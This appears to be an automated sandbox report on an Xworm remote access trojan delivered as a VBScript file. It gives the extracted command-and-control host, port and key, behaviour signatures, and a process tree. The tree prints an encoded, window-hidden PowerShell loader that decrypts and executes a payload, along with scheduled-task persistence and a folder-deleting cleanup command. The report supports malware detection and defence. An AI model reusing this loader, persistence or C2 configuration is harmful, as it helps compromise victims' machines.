Analysis
- max time kernel
149s - max time network
145s - platform
windows10-2004_x64 - resource
win10v2004-20260911-en - resource tags
- submitted
30/09/2026, 15:35
General
- Target sostener.vbs
- Size 59KB
- Sample260930-s1gfdsbf78
- SHA256 b66c2df52700c26cfea28b19b6b6c59b0897917ba21aa842a52e7408ee6eeed7
Malware Config
Extracted
-
xworm
-
5.0
-
medellin202156.duckdns.org:7777
-
pLjLEBFnwxj0FXSY
-
install_file
USB.exe
Signatures
- Family: Xworm
Xworm is a remote access trojan written in C#.
- Detect Xworm Payload 1 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Enumerates connected drives 3 TTPs 1 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
- Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs
- Suspicious use of SetThreadContext 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 1 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- System Location Discovery: System Language Discovery 1 TTPs 4 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs
Adversaries may check for Internet connectivity on compromised systems.
- Runs ping.exe 1 TTPs 1 IoCs
- Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 13 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\sostener.vbs"1⤵
- Checks computer location settings
- Executes a VBScript file via the Windows Script Host.
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand dAByAHkAIAB7AAoAJABiAGwAbwBiAD0AWwBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKABbAEkATwAuAEYAaQBsAGUAXQA6ADoAUgBlAGEAZABBAGwAbABUAGUAeAB0ACgAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAGMAdABsADUAMQA5ADEAMwAuAGMAYQBjAGgAZQAnACkAKQAKAFIAZQBtAG8AdgBlAC0ASQB0AGUAbQAgAC0ATABpAHQAZQByAGEAbABQAGEAdABoACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAGMAdABsADUAMQA5ADEAMwAuAGMAYQBjAGgAZQAnACAALQBGAG8AcgBjAGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUACgAkAGsAPQBbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACcAUwBuAG0AQQB6AG8AZwByAFEAUwBXAHcATQBHADYAWgBoAGcANgBKAEsAbQBaAHgASwBuAHMARQBZAEsATAAyAFYATQBFAFIAdwBDAFIAMAB2AGsATQA9ACcAKQAKACQAdABoAD0AJwBDAEIARABFADIANQA0AEYARAAzAEQAMABGAEMANwBGAEYAOQA0ADYANQAwAEYANQBCADgARgBBAEUAOQAxADYANQBGADcANAA2AEYANABFAEMARQBEAEYAMQA0ADQANAAxAEYANgBDADUARgA5ADYAMAA2ADAAOABCAEIARgBEACcACgAkAHQAYQBwAGUAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAYgB5AHQAZQBbAF0AIAAzADIACgBmAG8AcgAoACQAcQA9ADAAOwAkAHEAIAAtAGwAdAAgADMAMgA7ACQAcQArACsAKQB7ACQAdABhAHAAZQBbACQAcQBdAD0AWwBDAG8AbgB2AGUAcgB0AF0AOgA6AFQAbwBCAHkAdABlACgAJAB0AGgALgBTAHUAYgBzAHQAcgBpAG4AZwAoACQAcQAqADIALAAyACkALAAxADYAKQB9AAoAJABpAHYAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAYgB5AHQAZQBbAF0AIAAxADYACgBbAEEAcgByAGEAeQBdADoAOgBDAG8AcAB5ACgAJABiAGwAbwBiACwAJABpAHYALAAxADYAKQAKACQAbgA9ACQAYgBsAG8AYgAuAEwAZQBuAGcAdABoAC0AMQA2AAoAJABiAG8AZAB5AD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAGIAeQB0AGUAWwBdACAAJABuAAoAWwBBAHIAcgBhAHkAXQA6ADoAQwBvAHAAeQAoACQAYgBsAG8AYgAsADEANgAsACQAYgBvAGQAeQAsADAALAAkAG4AKQAKAGYAbwByACgAJABpAD0AMAA7ACQAaQAgAC0AbAB0ACAAJABiAG8AZAB5AC4ATABlAG4AZwB0AGgAOwAkAGkAKwA9ADIAKQB7ACQAYgBvAGQAeQBbACQAaQBdAD0AWwBiAHkAdABlAF0AKAAoACgAJABiAG8AZAB5AFsAJABpAF0AIAAtAHMAaABsACAANAApACAALQBiAG8AcgAgACgAJABiAG8AZAB5AFsAJABpAF0AIAAtAHMAaAByACAANAApACkAIAAtAGIAYQBuAGQAIAAyADUANQApAH0ACgBmAG8AcgAoACQAaQA9ADAAOwAkAGkAIAAtAGwAdAAgACQAYgBvAGQAeQAuAEwAZQBuAGcAdABoADsAJABpACsAKwApAHsAJABiAG8AZAB5AFsAJABpAF0APQBbAGIAeQB0AGUAXQAoACgAJABiAG8AZAB5AFsAJABpAF0ALQAkAHQAYQBwAGUAWwAkAGkAJQAzADIAXQAtACgAKAAkAGkAKgAxADMAKQAtAGIAYQBuAGQAIAAyADUANQApACkAIAAtAGIAYQBuAGQAIAAyADUANQApAH0ACgAkAHAAcgBvAHYAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAFIAaQBqAG4AZABhAGUAbABNAGEAbgBhAGcAZQBkAAoAJABwAHIAbwB2AC4AQgBsAG8AYwBrAFMAaQB6AGUAPQAxADIAOAAKACQAcAByAG8AdgAuAEsAZQB5AFMAaQB6AGUAPQAyADUANgAKACQAcAByAG8AdgAuAE0AbwBkAGUAPQBbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBDAGkAcABoAGUAcgBNAG8AZABlAF0AOgA6AEMAQgBDAAoAJABwAHIAbwB2AC4AUABhAGQAZABpAG4AZwA9AFsAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAFAAYQBkAGQAaQBuAGcATQBvAGQAZQBdADoAOgBQAEsAQwBTADcACgAkAHAAcgBvAHYALgBLAGUAeQA9ACQAawAKACQAcAByAG8AdgAuAEkAVgA9ACQAaQB2AAoAJABwAGwAYQBpAG4APQAkAHAAcgBvAHYALgBDAHIAZQBhAHQAZQBEAGUAYwByAHkAcAB0AG8AcgAoACkALgBUAHIAYQBuAHMAZgBvAHIAbQBGAGkAbgBhAGwAQgBsAG8AYwBrACgAJABiAG8AZAB5ACwAMAAsACQAYgBvAGQAeQAuAEwAZQBuAGcAdABoACkACgAkAGIAbwBkAHkAPQAkAG4AdQBsAGwACgAkAGIAbABvAGIAPQAkAG4AdQBsAGwACgAkAG8AZgBmAD0AMAAKAGkAZgAoACQAcABsAGEAaQBuAC4ATABlAG4AZwB0AGgAIAAtAGcAZQAgADMAIAAtAGEAbgBkACAAJABwAGwAYQBpAG4AWwAwAF0AIAAtAGUAcQAgADAAeABFAEYAIAAtAGEAbgBkACAAJABwAGwAYQBpAG4AWwAxAF0AIAAtAGUAcQAgADAAeABCAEIAIAAtAGEAbgBkACAAJABwAGwAYQBpAG4AWwAyAF0AIAAtAGUAcQAgADAAeABCAEYAKQB7ACQAbwBmAGYAPQAzAH0ACgAkAHQAPQBbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAHAAbABhAGkAbgAsACQAbwBmAGYALAAkAHAAbABhAGkAbgAuAEwAZQBuAGcAdABoAC0AJABvAGYAZgApAAoAJABwAGwAYQBpAG4APQAkAG4AdQBsAGwACgAkAGwAZQBkAGcAZQByAD0AWwBJAE8ALgBGAGkAbABlAF0AOgA6AFIAZQBhAGQAQQBsAGwAVABlAHgAdAAoACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXABsAGQAZwA4ADcANAA4ADIALgBjAGEAYwBoAGUAJwApAAoAUgBlAG0AbwB2AGUALQBJAHQAZQBtACAALQBMAGkAdABlAHIAYQBsAFAAYQB0AGgAIAAnAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwAbABkAGcAOAA3ADQAOAAyAC4AYwBhAGMAaABlACcAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAKAGkAZgAoACQAbABlAGQAZwBlAHIALgBDAG8AbgB0AGEAaQBuAHMAKAAnAHwAfAB8ACcAKQApAHsACgAkAHAAYQByAHQAcwA9ACQAbABlAGQAZwBlAHIALgBTAHAAbABpAHQAKABbAHMAdAByAGkAbgBnAFsAXQBdAEAAKAAnAHwAfAB8ACcAKQAsAFsAUwB0AHIAaQBuAGcAUwBwAGwAaQB0AE8AcAB0AGkAbwBuAHMAXQA6ADoATgBvAG4AZQApAAoAJABsAGUAZABnAGUAcgA9ACQAbgB1AGwAbAAKACQAdAA9ACQAdAAuAFIAZQBwAGwAYQBjAGUAKAAnAF8AXwBEAEwATABfAF8AJwAsACQAcABhAHIAdABzAFsAMABdACkACgAkAHQAPQAkAHQALgBSAGUAcABsAGEAYwBlACgAJwBfAF8AUABMAEQAXwBfACcALAAkAHAAYQByAHQAcwBbADEAXQApAAoAJABwAGEAcgB0AHMAPQAkAG4AdQBsAGwACgB9AGUAbABzAGUAewAKACQAdAA9ACQAdAAuAFIAZQBwAGwAYQBjAGUAKAAnAF8AXwBQAEwARABfAF8AJwAsACQAbABlAGQAZwBlAHIAKQAKACQAbABlAGQAZwBlAHIAPQAkAG4AdQBsAGwAfQAKAGkAZQB4ACAAJAB0AAoAJAB0AD0AJABuAHUAbABsAAoAUgBlAG0AbwB2AGUALQBJAHQAZQBtACAALQBMAGkAdABlAHIAYQBsAFAAYQB0AGgAIAAnAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwAaQBuAHYAXwA3ADkAMQA5ADkAMAAxADQAJwAgAC0ARgBvAHIAYwBlACAALQBSAGUAYwB1AHIAcwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlAAoAfQAgAGMAYQB0AGMAaAAgAHsAfQA=2⤵
- Command and Scripting Interpreter: PowerShell
- Enumerates connected drives
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\phvnicem\phvnicem.cmdline"3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES3A40.tmp" "c:\Users\Admin\AppData\Local\Temp\phvnicem\CSC7D4BD1E3522D45BDBB2171C6F916C8A.TMP"4⤵
-
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\ozsdhg4f\ozsdhg4f.cmdline"3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES3AEC.tmp" "c:\Users\Admin\AppData\Local\Temp\ozsdhg4f\CSC76E3744041294CDF90FD51B956843D5A.TMP"4⤵
-
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 8 >nul & rmdir /s /q "C:\Users\Admin\AppData\Local\Temp\inv_79199014"2⤵
- Executes a command shell one-liner
- System Network Configuration Discovery: Internet Connection Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 83⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /tn "InventoryCatalogHost" /xml "C:\Users\Admin\AppData\Local\Temp\task55418.xml" /f2⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\system32\wscript.exewscript.exe1⤵
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
3PowerShell
1Visual Basic
1Windows Command Shell
1Scheduled Task/Job
1Scheduled Task
1Replay Monitor
Loading Replay Monitor...
Downloads
RES3A40.tmp
RES3AEC.tmp
__PSScriptPolicyTest_lvbim1c5.vee.ps1
ctl51913.cache
ldg87482.cache
ozsdhg4f.dll
phvnicem.dll
task55418.xml
CSC76E3744041294CDF90FD51B956843D5A.TMP
ozsdhg4f.0.cs
ozsdhg4f.cmdline
CSC7D4BD1E3522D45BDBB2171C6F916C8A.TMP
phvnicem.0.cs
phvnicem.cmdline
memory/2392-59-0x00000000060A0000-0x0000000006132000-memory.dmp
memory/2392-56-0x0000000004FD0000-0x000000000506C000-memory.dmp
memory/2392-55-0x0000000000400000-0x000000000040E000-memory.dmp
memory/4680-26-0x0000000007B50000-0x00000000080F4000-memory.dmp
memory/4680-27-0x0000000008780000-0x0000000008DFA000-memory.dmp
memory/4680-25-0x00000000068E0000-0x0000000006902000-memory.dmp
memory/4680-24-0x0000000006890000-0x00000000068AA000-memory.dmp
memory/4680-23-0x0000000007500000-0x0000000007596000-memory.dmp
memory/4680-21-0x00000000063C0000-0x000000000640C000-memory.dmp
memory/4680-20-0x0000000006310000-0x000000000632E000-memory.dmp
memory/4680-41-0x00000000077B0000-0x00000000077B8000-memory.dmp
memory/4680-19-0x0000000005D40000-0x0000000006094000-memory.dmp
memory/4680-11-0x0000000005CD0000-0x0000000005D36000-memory.dmp
memory/4680-10-0x0000000005C60000-0x0000000005CC6000-memory.dmp
memory/4680-9-0x0000000005350000-0x0000000005372000-memory.dmp
memory/4680-54-0x00000000077C0000-0x00000000077C8000-memory.dmp
memory/4680-8-0x00000000053D0000-0x00000000059F8000-memory.dmp
memory/4680-7-0x0000000004D50000-0x0000000004D60000-memory.dmp
memory/4680-6-0x0000000004D60000-0x0000000004D96000-memory.dmp
memory/4680-5-0x0000000004D50000-0x0000000004D60000-memory.dmp